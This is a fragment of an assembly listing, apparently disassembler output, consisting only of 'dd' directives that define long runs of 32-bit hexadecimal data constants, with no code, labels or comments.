		dd 0F14A7BE9h, 0DC4DC6A3h, 0C933000h, 0CE4F458Dh, 2DBC0317h
		dd 0ED65EEA9h, 1A27F398h, 51C53F06h, 0C608681h,	0D63792BFh
		dd 7D008971h, 0E08E0E9Ah, 14E90A7Eh, 10DA57A1h,	86A60076h
		dd 7EE3C60Eh, 6AE8EE09h, 60DDFF20h, 478D1808h, 0AE000B68h
		dd 0EA499AB3h, 0BBD79Eh, 0C0CFE082h, 48ECDB57h,	0D6A39828h
		dd 0C17C0526h, 4A8ECB01h, 9880D128h, 5983AB44h,	0A306A6C0h
		dd 393C24A0h, 4C3F1CB0h, 0A87D8077h, 3DA6D3EFh,	57A5E90Ah
		dd 510A54CEh, 1017092h,	51975B4h, 3F143881h, 409351AFh
		dd 0D6CF3D10h, 83A35200h, 0B47B184h, 0C97F40h, 7AF821EDh
		dd 8BBA9013h, 0F159A00h, 0DFC52314h, 9BA307EAh,	7EA824h
		dd 9933198Ch, 6D18DD60h, 0B0B21641h, 3F8AF8ADh,	258C97F0h
		dd 8220BD75h, 0A08B2418h, 2891980h, 7FD8401Dh, 0A080C0D0h
		dd 1A81B7E3h, 8F70A30Dh, 40881884h, 7B3EF70Bh, 4A1E3F78h
		dd 57001CD2h, 0CAA7FB79h, 56823CC0h, 9C20C724h,	90E50046h
		dd 0D5A88BA4h, 8FFF90A9h, 1827D209h, 60353389h,	138C514Eh
		dd 0E530D319h, 8E71D1F2h, 0C0CD034Ch, 0BCCB6FBDh, 20D4100h
		dd 6CF9E66h, 58D36089h,	0A9EC641Fh, 0CACD2401h,	0C51CA519h
		dd 655CCF0h, 0D5F5B328h, 6080600Fh, 0E20EBF9Ah,	0C0F46D44h
		dd 0A0B98F52h, 633B0089h, 2BB52181h, 0D200FEAFh, 3469FB84h
		dd 4EDA6470h, 6DAFA0EDh, 58CEA237h, 0EB6A71A0h,	155E048h
		dd 0A068C0CBh, 52BDA488h, 0E8E0A2F8h, 14063F19h, 6457C176h
		dd 21836B08h, 7F171700h, 3F00C6BBh, 1C8215E7h, 77E5A435h
		dd 85021E48h, 282F9F69h, 23C108CCh, 0B200D2D5h,	509FD72Ch
		dd 0C7903BBDh, 472B454h, 0E914FD17h, 51688313h,	0CB600886h
		dd 0FD0E9821h, 2332003Dh, 8CEF2DDFh, 84E0C602h,	70410B06h
		dd 78A18BA5h, 340FE882h, 801199EAh, 89A83D4h, 86E0960Ch
		dd 0A9530920h, 83C85FC8h, 0E5A70103h, 0D5C7F228h, 0CA09F029h
		dd 0DFE4BE54h, 0A0DA9800h, 0DC839B51h, 844B3A3Ch, 121D730h
		dd 7303DA90h, 358DE5BBh, 91D6A5h, 170F5F16h, 0BA8005C3h
		dd 0D30250F8h, 6407CDE8h, 0AD544087h, 8390A0C8h, 0C59A1F7Bh
		dd 3A00A4D4h, 818C7B4h,	1CC09198h, 21E945FDh, 0DF91AB3Bh
		dd 0A89B28h, 6DBCB01h, 0D47EC38Bh, 6145220Ah, 0A61E70A8h
		dd 10A2B50Ch, 0C1173C46h, 3FA1B180h, 70C5AD6Ah,	5FCA661Fh
		dd 58501100h, 19E22Ah, 217799Dh, 483E4B9Ah, 0BC468C00h
		dd 45DAA665h, 7882001Bh, 41F2F711h, 1E3BF4B5h, 396ADC2Eh
		dd 0D08C0719h, 38A0C081h, 3DE29ED7h, 0AE80E483h, 0F433DCB7h
		dd 3B009F15h, 0BBD35496h, 0AADFA4h, 3283297Fh, 8B41BC48h
		dd 0F0647407h, 28705BC3h, 0F6BE4B8h, 679DF13h, 9D1EA640h
		dd 150046B2h, 27745223h, 8B48Eh, 0B18871A1h, 616E8DB8h
		dd 0AD7B4Ch, 0B0CA172Fh, 9783CBD4h, 46BF2BC0h, 2077B800h
		dd 5F43DF44h, 4D55124h,	48526343h, 0DA002410h, 0D8996521h
		dd 9C715814h, 0BA911107h, 0C1F02CD1h, 32C832D5h, 429E544h
		dd 89939A10h, 44A9086Eh, 1344D0CDh, 5A9A446Ch, 0EB1140h
		dd 5DA8FB62h, 0DF4A6D0Eh, 0C9ABA701h, 382B5672h, 0B133C0FBh
		dd 0BB3F0021h, 2E163D95h, 9B00D21Bh, 0FE5229ADh, 0CF1576h
		dd 41B59C98h, 0FD89F220h, 0A1F63306h, 0A0F16CE8h, 13819F9h
		dd 2610805Ch, 70454F88h, 2F3B963Ah, 0D9DE855Dh,	0DEC0F430h
		dd 0AC9C820h, 7E76E4C7h, 3D5C0FE4h, 0FA6BE280h,	1400E3A7h
		dd 8BB05ECCh, 0F66C3247h, 0C6C2003Ah, 0E85F1E0Eh, 0CF148284h
		dd 0ED00A7Ah, 0D219A0h,	0C5502836h, 7EF6000Eh, 0D4CBB9E7h
		dd 4F08C80Bh, 600946h, 0BA65B391h, 0C40EBFEAh, 60DEAE6Fh
		dd 0B215D51h, 0B5A0094Dh, 0A080308Ch, 4A12D6ACh, 6A75531Dh
		dd 0E2451041h, 0A9C0EBE6h, 0CD3F3CBCh, 7580CE80h, 50B6B87Ah
		dd 0A7257900h, 0AF34B4F3h, 0CA47009Eh, 0BB850D0Ah, 433D1B46h
		dd 805C3D0Ch, 0AE919BA6h, 435B0h, 6DE26AA1h, 87EA270Dh
		dd 4157741Eh, 0B8679DCCh, 625100BDh, 9D33DA9h, 4C01B9EBh
		dd 0C92C699Fh, 5CC818CDh, 79F20052h, 8D8A5D5Eh,	4D1FA28Bh
		dd 945C0806h, 0BCAA9342h, 0A0C1C0AFh, 326D0099h, 0E46A0163h
		dd 0B10087C4h, 0A8EE8036h, 5061FBB6h, 26069594h, 38CE78CDh
		dd 41234D9Ch, 16EC0FFEh, 8BF040D9h, 0FF0004AFh,	922842F5h
		dd 0F01EADAEh, 0A1630077h, 98125CFAh, 4D5895F6h, 7101142Eh
		dd 0FC738AACh, 0AC0815h, 6064368Ch, 98250719h, 0E7603B7h
		dd 0DF31A3D2h, 0B6E66DF0h, 6F1CDDE0h, 9600BD74h, 68CC1857h
		dd 90D40089h, 9A844810h, 6607E7CBh, 0A4A8F4B8h,	0DF6037A7h
		dd 989665h, 410C94D7h, 0CEBCD118h, 1D4E2F00h, 0DE8B45C9h
		dd 0CF1B005Ch, 0F5476627h, 3D3DE0D4h, 0C59B80BDh, 350490FDh
		dd 0E5C8A073h, 0B0A50089h, 0B3111B65h, 920194E4h, 15108E31h
		dd 9AE0F95Fh, 0CA100D9h, 4ED4A265h, 5401681Fh, 0DCFC24D1h
		dd 58DCA756h, 0E65704EAh, 20738C1h, 18AA4932h, 39006C8Dh
		dd 0C659E728h, 1625245h, 5E0670FCh, 244D6491h, 0B4243FACh
		dd 3CE8D8h, 59EF6A74h, 0A08C90h, 4E0F51C5h, 0A1BF93FDh
		dd 1E92958h, 7476E285h,	0BE68CA0Ah, 8F772E00h, 0C59F2324h
		dd 0CE882900h, 7EC2A583h, 8D220052h, 0CC4C94C7h, 9B07E25Dh
		dd 311E67C9h, 0A2D5D4A0h, 74739Ah, 0E820E556h, 58308F48h
		dd 22C11600h, 0A866D22Dh
		dd 181000CCh, 0B54B719h, 3D000890h, 99D8A7F9h, 75D669h
		dd 0E06ED03h, 0E4828725h, 37EB1F07h, 0E3301D2Fh, 4C5C0D12h
		dd 0B8003CD8h, 353CB2F1h, 0C1005E26h, 49CC8934h, 494222E2h
		dd 51000CCDh, 0BB72A0F1h, 1F3F4DCBh, 9DC91E2Dh,	0B15F380h
		dd 0F18A4A20h, 2F9C30h,	80F614BAh, 92953E87h, 0A3EDBD00h
		dd 0ADB920A0h, 7EB1029Eh, 82F72C26h, 0F4374460h, 0EED26B00h
		dd 0F0464701h, 8C514CFDh, 0DEBA8903h, 0A6C8DC76h, 2AF869BCh
		dd 0BD3B9939h, 944C86h,	0E704468Dh, 0C076EC5Fh,	1FB4A50h
		dd 9E18B1A3h, 0B46AB337h, 38C0007Dh, 0D4DA48BBh, 6399654h
		dd 6EFA80BFh, 0D3228664h, 2C62490h, 503B005Eh, 7FD8826Bh
		dd 8D99F600h, 0C1816C3h, 0F791003Dh, 4A7A742Bh,	0F1EC8736h
		dd 2B05660h, 0E0328Ah, 4C670675h, 0C1E3BFF6h, 63002EF6h
		dd 8BEF05F0h, 243769h, 0EE623DF3h, 73EAA326h, 6A21A60Fh
		dd 0E7BCA131h, 59F854B0h, 189B5818h, 0D98E2B07h, 0CF9DD03Ah
		dd 83005A60h, 0D893B978h, 94A671Fh, 5D3CB025h, 0B2ACB480h
		dd 8E005091h, 0D6E73BDDh, 7901654Eh, 77303DC0h,	0B59BC280h
		dd 0F22A5B66h, 37711200h, 5799FF8Bh, 29CD0045h,	5D6F25AEh
		dd 400F8223h, 0D67E68h,	0C688594Ch, 1CCB851h, 0CC711885h
		dd 0E7427F4Fh, 880058D6h, 0FA2E6A78h, 0F89B363h, 0C75C71D1h
		dd 2E1BEA0h, 8100620Eh,	0F0A5E9B9h, 8F7D51h, 0FB343D20h
		dd 22D78C6Dh, 0E426E607h, 4C60EB52h, 0F29891h, 2B5A64BBh
		dd 875F389Ah, 231A6100h, 140CF057h, 0E233079Dh,	0F7CF71D2h
		dd 7AAF9039h, 6A1E54A6h, 4417031Fh, 27F22C03h, 0A474F958h
		dd 6128BC50h, 0B5B9804h, 38A187E6h, 50660A00h, 407BF498h
		dd 0BA00A6FCh, 295CAB68h, 9C3230Eh, 30AD89F6h, 0A2CB5800h
		dd 0B23E605Eh, 0C59180FCh, 39102AE6h, 0BC244C32h, 69CE3F04h
		dd 3034D04Ah, 582C2E35h, 48009497h, 88CE5D06h, 7D47461h
		dd 228DD16h, 0E49512FAh, 0DBD518C0h, 0DEF6D900h, 74A11603h
		dd 1660915Fh, 60D814F2h, 1D988801h, 0FD9C8111h,	73616057h
		dd 1940B48h, 9904CF3Bh,	0D2432422h, 420FE2E2h, 0B1FC00B1h
		dd 0E1714Fh, 192FE64h, 2C03DA80h, 9EF7F900h, 0FDEFDB34h
		dd 6BC90757h, 633CA64Dh, 7F858FBh, 9501B290h, 72835E75h
		dd 83303080h, 5020ED5Fh, 89700AFh, 4C96BDF5h, 0C509799Ch
		dd 8F1B1A87h, 0A15500AAh, 62FFFh, 0E7FB0856h, 84623AF3h
		dd 159DE200h, 8B5459D5h, 18A2F005h, 0D02E71A9h,	0BE00EB63h
		dd 0A6D73BCBh, 1F8F36B6h, 8297DDC1h, 4E566038h,	3D90CE63h
		dd 0B1008B22h, 1E5BF248h, 0EB5C369h, 77C8CCB7h,	984DF6Ah
		dd 10005F63h, 76837A2h,	61B32224h, 71515601h, 0F7FDC9B4h
		dd 0E152F8h, 0C0381C7Bh, 0F6F164A8h, 69162B00h,	188CBA8Eh
		dd 0F033031Eh, 0E0BD99A6h, 21C880C1h, 2CB5E810h, 57586B00h
		dd 1265B103h, 7CC73A16h, 37CE0DDh, 1C69CDCCh, 10A0EA9Eh
		dd 443FA2FEh, 0A65007Ah, 879A4395h, 0C2310C49h,	0CC58C464h
		dd 16A18500h, 6039D119h, 8F953DFCh, 140018BEh, 43933526h
		dd 4873BF63h, 8ADDA701h, 0FE5EE813h, 5B9A70h, 65A4BEF0h
		dd 3B6D6FEDh, 980ECC60h, 3768E4h, 75D586EFh, 3DDF461Dh
		dd 3B4B161Ch, 0DC895C80h, 3D81413h, 29D1FF4Ch, 6AB8D031h
		dd 0E40978BEh, 40D7BDABh, 1B967E8h, 129198F1h, 0E40502E6h
		dd 75723835h, 10AB8500h, 0FF9FD30Bh, 0FE2A00EEh, 0BD669111h
		dd 0B601E887h, 9B19AB2h, 54E5E55Dh, 5C0F9BE8h, 0CC0E249Dh
		dd 43C670A2h, 0E1E91182h, 0D6C9F3AEh, 0C1EC573Dh, 284D4BC4h
		dd 7A738B8h, 0E0B9CAFFh, 63DCAE40h, 524C00E8h, 50FA9F86h
		dd 3200DED9h, 9AC6A94Dh, 94A17E70h, 0C7430324h,	4801BDBFh
		dd 0F1FFE8B9h, 2981FB0Dh, 0D647CCC2h, 0DE3C4011h, 7C0B5027h
		dd 8EC892E9h, 52EE80FEh, 9967A0h, 9C580510h, 0B52F552Ch
		dd 0DD7BF300h, 72601B2Bh, 23D3008Dh, 0FB7A1E8Fh, 2A3F8B62h
		dd 30C880AFh, 4D0F1DF9h, 9FD43B5Ch, 0C136AC00h,	2850EA15h
		dd 2F013790h, 9DA6125Bh, 0F6D02CD3h, 0A20A0086h, 31A218Eh
		dd 433C7D8Ah, 60760056h, 0ED34AE7h, 139400F8h, 0FEB30624h
		dd 794EE88Ch, 90002EFCh, 7AFF7E78h, 0EF2CABDBh,	5F80D446h
		dd 0D30E0D7Ch, 2108008Ah, 426F4E4Ah, 0DB0FE3F6h, 49D604Fh
		dd 0F0B4DF48h, 611770D1h, 0E04210C8h, 419974Fh,	186318EAh
		dd 22008ECDh, 564259BAh, 31C6A4F6h, 0EE283665h,	1758DCF3h
		dd 6F7CF100h, 61BA6D7Ah, 226B192Bh, 0E4F0696Eh,	0A9FE054Bh
		dd 259B7D00h, 0C4D18397h, 0A2F2DFh, 873062E3h, 5053C1ACh
		dd 1200E17Eh, 930FF263h, 6115A3h, 2BEBA4CDh, 0D6318A04h
		dd 1E0E1F74h, 4C42EDB7h, 424FB958h, 0F2527C52h,	318E3074h
		dd 5B537Ch, 9EE51BA7h, 0FBE442FDh, 5F32D304h, 240F0499h
		dd 0D708F920h, 0C4073BEEh, 474007BCh, 58772320h, 97D3003Fh
		dd 3ED00ECCh, 6607C493h, 0E279B2DEh, 0DD56CD80h, 44A500D4h
		dd 0E0874EFDh, 0F838F6D5h, 0A4240726h, 0CCB49CC4h, 10C68483h
		dd 792BA29h, 1BC4C88h, 8670601Eh, 0E0A32D95h, 54C200BAh
		dd 0D4D3C052h, 0FCF8C5F8h, 0F7E69F00h, 819924B6h, 1EA70036h
		dd 73759E0Fh, 0D301F389h, 184CF1E5h, 0EECCE638h, 1DB700AFh
		dd 63724B80h, 0B00E06FDh, 5C155Eh, 581C6D84h, 417D55h
		dd 17083092h, 5F2676A8h, 5D00F970h, 7C8BAFC4h, 0D560AEh
		dd 0AAFF0EECh, 0F8C217EDh, 29CE7A07h, 96C02459h, 7B3D78D6h
		dd 2E2005C1h, 0E3A7A8h,	0C7FAE290h, 0F0E3F606h,	35019A9Dh
		dd 3105D59Eh, 0E84447B8h, 0F383AE03h, 0FAA88870h, 0D91E02E7h
		dd 9EC84460h, 20D72E60h, 14BE7401h, 83397E89h, 0F0FAC270h
		dd 2D7688h, 0C0CCB279h,	596870D2h, 4A930D00h, 881CD813h
		dd 8073002Ah, 0C32057BDh, 9A00485Ch, 0FD60BDAh,	5DE7FCh
		dd 0E1EC8777h, 0CBBFB320h, 0BD87002h, 8FC4B67Eh, 106D60D0h
		dd 779597Ch, 6B7191FCh,	0C0049CFh, 31271B77h, 0A38D9900h
		dd 4A0BECB2h, 736A0015h, 1CE946B4h, 0AB00FD42h,	89A8E563h
		dd 0B286761h, 90E4CB10h, 0F77F8080h, 1100BC0Eh,	25128B14h
		dd 1343ABh, 3A9E30FCh, 2998EE84h, 9AA89900h, 0EC616BF8h
		dd 2D4F09BCh, 2580BB2Ah, 0B5AC3EF2h, 92E6D400h,	7AFE4072h
		dd 9D45028Ah, 91504CD5h, 383D1B60h, 90CA5500h, 5DA75C67h
		dd 99DE1CA8h, 0C57CC04Eh, 9C898A9Bh, 0EE074CF6h, 0E028CE56h
		dd 6614BA31h, 0A6E59880h, 0F8A2A33Eh, 62C60600h, 0C89F26C5h
		dd 14890015h, 60D0BAD9h, 18007C4Fh, 39A47770h, 8CA34Eh
		dd 0FD2DD296h, 0A12684AAh, 0E065241Dh, 9F36BEC0h, 0A62EA0h
		dd 0CE0A1721h, 37A3563Eh, 8CC1300h, 0DE44862Ch,	0C3AC0036h
		dd 0E6234870h, 0A37FAEA9h, 8FF80101h, 0E1EB0B1h, 0F6D2DF4h
		dd 7698C98Dh, 801136A0h, 7A74A741h, 25EE5507h, 29101585h
		dd 53D0D6h, 8904AC2Dh, 0D2B9E7C8h, 89446C39h, 570F2h, 572E7658h
		dd 0E4340072h, 0A937EE45h, 0E3E8519h, 0CAC0830Fh, 0C1CD3F53h
		dd 68F08AEBh, 5CA503B3h, 29793AAAh, 548C58E0h, 5113C603h
		dd 0DB1D64h, 5A49CB58h,	0EA8E7DF2h, 24CC5F3Eh, 0F7093ACEh
		dd 87B80094h, 20263CBDh, 4112E9FDh, 9A0ACFB7h, 20066080h
		dd 0E450DA28h, 0B86CFA05h, 107D8Ah, 0BFFB9B23h,	0AC13094h
		dd 8041AA39h, 81AF6176h, 60D35E31h, 13E51EBh, 460083B6h
		dd 0FEC70DE3h
		dd 3CA9DA9h, 861E7DBBh,	0BF98D9CBh, 620332ECh, 3677DBEEh
		dd 40FDD82Ah, 331F0008h, 0F07B8ADCh, 940E98ABh,	6182A3CEh
		dd 0C6078076h, 1F1FBCC8h, 5E4DC9F6h, 9653404Ah,	229CD055h
		dd 0DB7EB300h, 75DF975Ch, 765A1F26h, 11833D7Ah,	544736BFh
		dd 0A868CDD8h, 3305B000h, 0FDC78BB6h, 66500A1h,	0EC3CAA1Bh
		dd 4700EE48h, 0B6A3870Ch, 0FE2E080Dh, 0D5CE0015h, 0F5DBC792h
		dd 0B80CE040h, 0EFEA09Ah, 0E03554C2h, 1C42090Fh, 86009179h
		dd 1463257Ah, 89A7A003h, 0C3214EAFh, 0BE3F02Ch,	0C1800EDFh
		dd 40D26A18h, 50B9D848h, 47004F57h, 0C4DCE9B4h,	26A620AAh
		dd 0E70B43h, 0CE2FD219h, 0A9095CA0h, 18899F7Fh,	0A257E18h
		dd 958A7461h, 0E034018Ch, 0C3FE5D6Eh, 0BF3AFB80h, 80EA18C0h
		dd 4A5C488h, 0E8010AE2h, 0D4008026h, 133F7DBFh,	674A8046h
		dd 0CA0D16ABh, 25B5000Ah, 71456974h, 8F02C18Ch,	0FAD7826Ch
		dd 40344017h, 1E1EE279h, 6C8B21CBh, 0A0234038h,	672863C8h
		dd 840090C1h, 2FDAAE0Fh, 80D291h, 94C90B1Ah, 786A2DAFh
		dd 0A289D400h, 90BD497Fh, 9547F8Bh, 8D9CC87Bh, 80078D04h
		dd 4BDB5BA0h, 0C2F3FD04h, 2CC0ADAFh, 66BFF8h, 0A483EB5Dh
		dd 0E4B7C65h, 8094314Ch, 0B45B188Fh, 0E113396Ch, 7D646A87h
		dd 1A7580D8h, 0A97EF0CFh, 0E9E09800h, 4403ED9Ah, 0AFF1031Bh
		dd 0A64FC9C8h, 0D941600h, 0FD2457A1h, 0FFC30014h, 7E4199FBh
		dd 0F900652Ch, 0A12F6123h, 960D5h, 7B9AB5E1h, 0F8B71C5Ch
		dd 57A4A300h, 0C82B0EAAh, 0DA901213h, 401C403Eh, 589293Fh
		dd 0DE0B4700h, 0EE6AAAEAh, 0EF7B062Bh, 0D04AD609h, 0B2F02100h
		dd 81C48427h, 17D42D2Ah, 0E8009556h, 0CA89BE6Fh, 169D06BAh
		dd 61E244AFh, 0C8073E98h, 13B2E1FBh, 3144D946h,	0ED2032D7h
		dd 3108889h, 2120B04Ah,	0D00C7A2h, 0FB649AD6h, 864E7Eh
		dd 0D42F5A1Ah, 0FF52136Ah, 85919900h, 5F3DBAD3h, 981600C5h
		dd 4CB231F2h, 44E2E201h, 18C2690Eh, 4286A20Bh, 17186173h
		dd 18672AD0h, 70C7C57Eh, 0FA33FB1Ch, 0CE2840h, 921ABF88h
		dd 19C23945h, 3321B03Ah, 0D0775904h, 3DCBB1h, 30247F02h
		dd 19EA3F56h, 0B8DDA617h, 0E3DB9840h, 7D52E5CCh, 48B6028Dh
		dd 0D32A9F07h, 31F4F7C0h, 0BAA4BC01h, 5BE44699h, 58303DE0h
		dd 0B600FF90h, 98CC962Eh, 2700A37Ch, 0F540B223h, 0F0342Dh
		dd 7F63BA24h, 5422B7F3h, 0B2F60A0Fh, 75DC608Ah,	21FE8Bh
		dd 1F316424h, 0A0FB9565h, 167EB51Fh, 90070580h,	3C5EB614h
		dd 250008EEh, 0ED7DA51Dh, 4F39EF23h, 40920139h,	58F3545Fh
		dd 13364020h, 4BA10641h, 7180FFB8h, 0A5A2F099h,	0E7768E00h
		dd 1406939Ah, 189800A8h, 1F1A8590h, 630A1C22h, 0AC6E59FEh
		dd 0FD652D03h, 0A64900C9h, 7C640577h, 0A0FC0483h, 1E88BE01h
		dd 0C2018EDBh, 27B0D0D7h, 904600EBh, 0D335D616h, 806BE8Ch
		dd 1B7E2CD8h, 7F3D09B6h, 3820DFCDh, 71E7EFBFh, 83763Bh
		dd 701C8674h, 139FE8F9h, 0B35621h, 521E2F73h, 0F80B5E03h
		dd 1095D76h, 0A137F024h, 3CB455C0h, 8D1F4270h, 0F9248021h
		dd 0A75A041Eh, 79EAC809h, 0C112006Ch, 9868A01h,	954E237Eh
		dd 0F704B840h, 171EDBFCh, 1140FB6Ah, 0DCA71B2h,	28F118C0h
		dd 4AE5A83Dh, 2D796B61h, 54355B5Eh, 0B2C477E0h,	0DDE006Ch
		dd 6C829A6Dh, 2E008EFEh, 8A21D10Fh, 0A734BA2Dh,	1A507D04h
		dd 117E608Ch, 70A78738h, 80C35938h, 0D5B103CFh,	1BB8839Bh
		dd 1958BF3Fh, 2B847380h, 55D18041h, 2F488C00h, 91B248C3h
		dd 76601EB9h, 321B440h,	84C4E63Ch, 3BB06DFBh, 0CB80D74h
		dd 0A1DB6101h, 0B24B496Bh, 7922DF0h, 128EAACFh,	2329009Ch
		dd 0A478C6E5h, 24FF2B06h, 0F507A34h, 0C5E34A0Ch, 133B2803h
		dd 7CB15C02h, 0A7605509h, 0FE03B340h, 68B80352h, 3B1D3CFAh
		dd 6D551CF8h, 30EE1700h, 8A0CAD9Ah, 34BC04FDh, 0AE3832h
		dd 0D39B98Fh, 85352C5Ah, 962800BDh, 0A316EA58h,	45342A14h
		dd 1F037334h, 78934070h, 0ED410015h, 3B9D51B9h,	830F8CAFh
		dd 804DAA2Dh, 0D1D8690h, 7E890065h, 0FD473BB6h,	0E600A185h
		dd 0BACB1E96h, 5CB28C40h, 7C7CF292h, 0C1C600ABh, 0F6D1AD8Dh
		dd 0ACAB3CA9h, 0FB6DACC0h, 0C4D85D68h, 1A0FA500h, 0F313389h
		dd 30B21416h, 40BF0390h, 1C09F6AEh, 0A9D08C0h, 88ACD2h
		dd 0C3B88463h, 0F200FD95h, 3180307Eh, 2B5C8F21h, 9024BA04h
		dd 7F7CC6EAh, 1FCCE6C8h, 0BA13Fh, 0FA2EA419h, 3000804h
		dd 140751D3h, 0AD7FD5h,	0A1D5094h, 868158Fh, 0B60DD8FBh
		dd 0E0A3D03Fh, 0D8DBBB90h, 581200A1h, 55339005h, 17708B30h
		dd 0ADAE7116h, 7010DA8h, 6CFCB892h, 0C7BC476Fh,	23B09AE1h
		dd 0EE820858h, 8E7D6588h, 0A4B44DF9h, 22D24503h, 0E80A84Fh
		dd 7492307Dh, 0FE5DD700h, 8DC51BC3h, 0BC3B54A1h, 15FF071Eh
		dd 0A0AFFA51h, 0CD709884h, 4037B0C0h, 381B079h,	0E7D31301h
		dd 6E0A207h, 3E2449B6h,	4C8158BBh, 0A342188h, 8A2EDC41h
		dd 2822D0C9h, 88AF3903h, 0ADE10D77h, 127422B9h,	40545BC6h
		dd 0F4212B90h, 20E81A62h, 0F68CC1A6h, 4304F892h, 58BE3025h
		dd 0EF5D1F00h, 0AC020835h, 85163918h, 38FCA02Dh, 0E40DE7BAh
		dd 0A8905B45h, 34192BEDh, 60E5BE08h, 0E9CB1BCDh, 1DB2E20Ch
		dd 7F3A28BCh, 0B55F017Ah, 42A1F311h, 1D7C2439h,	713D100h
		dd 312426BEh, 0A9CD01DCh, 125A4820h, 0FB8CC40Ch, 546C24F9h
		dd 852948h, 0A63A2618h,	1D1F25h, 1105313Ch, 4D3647C7h
		dd 0C9884350h, 0EB25BE00h, 7AB92FE2h, 5CA251D3h, 40EF5020h
		dd 0CD883B54h, 0EE30E13h, 0D7E57CA1h, 0C45F30h,	9DADE041h
		dd 7F003822h, 2F3113A0h, 3EB8860Bh, 6D812972h, 96A4AEDEh
		dd 0E4B89D2Eh, 590E3486h, 3EAD1F71h, 84B1C42Fh,	113A073Dh
		dd 0A88458B9h, 99DB440h, 0E6C90112h, 0E40AE421h, 454891A5h
		dd 11409B03h, 28210C29h, 47101E02h, 0C0E4FFF2h,	30B191CDh
		dd 293AD9C0h, 623EBB0Fh, 344418A4h, 18E82406h, 68A3A6ADh
		dd 400EB9D4h, 20197BB8h, 7AFA3C0Eh, 0CD5100A1h,	45BD985Ch
		dd 0C855B299h, 9A2001DCh, 3E87D8A3h, 0CA79700h,	91FBF9D6h
		dd 0ED8F07D9h, 20EBDDE9h, 8E05A13h, 60305E00h, 59344275h
		dd 0A2570014h, 5A54FDEBh, 0C005DEFh, 0BEB65B43h, 0C617FF8h
		dd 5270CC25h, 41074031h, 23EE0B6Ah, 0D26108C0h,	7EC77BEh
		dd 4215DCC9h, 369AA06Bh, 47001245h, 0AD4D7239h,	95CB81Eh
		dd 0ABD568CBh, 2E9C4C00h, 0B6F073EDh, 723F3772h, 525E001Bh
		dd 0CA3B8D0h, 0A48800CFh, 1938A003h, 5100E3DCh,	0F05AD880h
		dd 1F2F245Eh, 641F35h, 0C37261AFh, 7018B306h, 4068C21Dh
		dd 526A005Bh, 7CE8DF5Ah, 6607FDABh, 0DDD1C455h,	6246AA80h
		dd 0AD730172h, 2B1A7064h, 0CA90805Dh, 3F785268h, 0C5D33BA8h
		dd 0C80506Fh, 0DF9FCEA7h, 0F8B0E651h, 42F65574h, 5E20F003h
		dd 0FDA24ACh, 0AFCBD541h, 58601381h, 4C441F5h, 0B45AC4E3h
		dd 0CA71E803h, 0E1F37AFCh, 0E6E47F44h, 725E07FDh, 40A73861h
		dd 8EDE4112h, 20258CA9h, 0B630FBAFh, 76D21074h,	526605FEh
		dd 10AE351Fh, 0A0CB814h, 823181FBh, 0F4EC2488h,	38A7047Ch
		dd 0C0BBF933h, 0A5C558AAh, 0F80C9501h, 0A90F6E9Fh, 73229D0h
		dd 637E6BDFh, 5EE3105Ah, 0F90ED30Ch, 0C0254CC0h, 0B8EEE9DBh
		dd 6BE8ECh, 5D89C2CAh, 33DA9B18h, 0FF9963Bh, 602AE53Bh
		dd 0D565B026h, 845B0511h
		dd 40C1BEF8h, 6DDDE8A8h, 9A032DCFh, 7299CBD3h, 487DD250h
		dd 3EA5E224h, 21804A1Fh, 9C3332C9h, 722A16BDh, 5FECD45Ch
		dd 211AC502h, 42AC6166h, 77C01034h, 0D874302Dh,	0C1A4A11h
		dd 76488C90h, 0CA89D868h, 0DC5F0012h, 0B73ED83Ah, 701C8B4Ah
		dd 41F03762h, 0CDC5028h, 0D94974D5h, 370EF661h,	8A61998Bh
		dd 9880146Ch, 0DC5AFFD1h, 0D0E83DB7h, 0EFB179B0h, 8600DEE1h
		dd 3695617Bh, 36CD7EEBh, 782174CAh, 33159FFAh, 194CD3B4h
		dd 828930Fh, 8388E109h,	0CB267840h, 0E1C96A29h,	5875004Ch
		dd 9801A2DCh, 70043600h, 4A379D39h, 225B583Fh, 46427101h
		dd 4C2F9540h, 0CC070588h, 808737F8h, 5F886DE0h,	3CFD00BFh
		dd 0F0A4CBF3h, 0C482A78h, 8A0072A0h, 93A6801h, 0E35EA7Fh
		dd 39D39488h, 3D8C21A2h, 5D8F3440h, 2BF1B409h, 5200805Eh
		dd 1C566AF5h, 4CFB4C6Dh, 75390655h, 5DB8170Fh, 0A85ACAA0h
		dd 61FDF387h, 0A6D390B0h, 32DE125Bh, 4068091Ch,	0CD2580FFh
		dd 9968481Fh, 70660824h, 61DD5A04h, 0E5A72490h,	4D2FE448h
		dd 0E6C46858h, 208E1F6Fh, 7991AC5Fh, 4450989Fh,	6F5857F0h
		dd 7890484Bh, 86294CA1h, 8670E3B9h, 50573D51h, 60274A8Fh
		dd 0C73E282h, 378BEFE0h, 20DFB9C9h, 704C7248h, 59DA0275h
		dd 2F36F3E4h, 22DC0961h, 518518C0h, 2672FDD9h, 3A0EE395h
		dd 7616658Dh, 4C5440A9h, 2A0A7358h, 6C4528CCh, 0E889671Eh
		dd 0A0242EC5h, 0A5F0FB3Eh, 0ED770A5Ah, 41BC5F5Eh, 5027369Eh
		dd 0A7726490h, 591D7F7Ch, 0C10A7B21h, 6FD81876h, 57AF0140h
		dd 53DBEEA1h, 90BD4B2h,	138AE33Ah, 0FC4E5DBCh, 0D2007C4Bh
		dd 0EF1728E4h, 0F3590029h, 9EF05D74h, 0DF00F850h, 58D298E5h
		dd 308EBE60h, 53E977CCh, 823A4713h, 4A5C15E8h, 3DBD0040h
		dd 0CC2CAB75h, 0A7EB067Eh, 3990EAE2h, 0DE276803h, 48240C58h
		dd 0C518B270h, 8A73C887h, 0C840E826h, 3115EC0Ch, 0C3B80052h
		dd 0E92FDFEEh, 0BF2A2570h, 0FF00FC46h, 0DE785A61h, 0FE57A93h
		dd 0B1BD7699h, 5F037700h, 0B5903CC4h, 9F156C9Ah, 0C0D46Dh
		dd 85E28EF3h, 54DD2665h, 9C3EC5Eh, 47E38C1Eh, 0D35AEC00h
		dd 0B7E63D8Bh, 194FC58h, 2F80C0B3h, 61C984C7h, 3B33A450h
		dd 38816A9Bh, 38C036F3h, 0EC006775h, 275C9D6Ah,	0A1E7CB64h
		dd 84CA6D0h, 384370h, 1D20F42h,	7C5BA79Eh, 1EEB0017h, 0A611DA58h
		dd 0D30020F3h, 0ABC19698h, 0F16919ECh, 26322048h, 184B610h
		dd 5AE9F04Bh, 9480C24Eh, 3E0BBAB0h, 5B025E00h, 5D0EE5A0h
		dd 0C8EE01D8h, 52FBD84h, 9BA82461h, 1BC5D90Ch, 980D187Fh
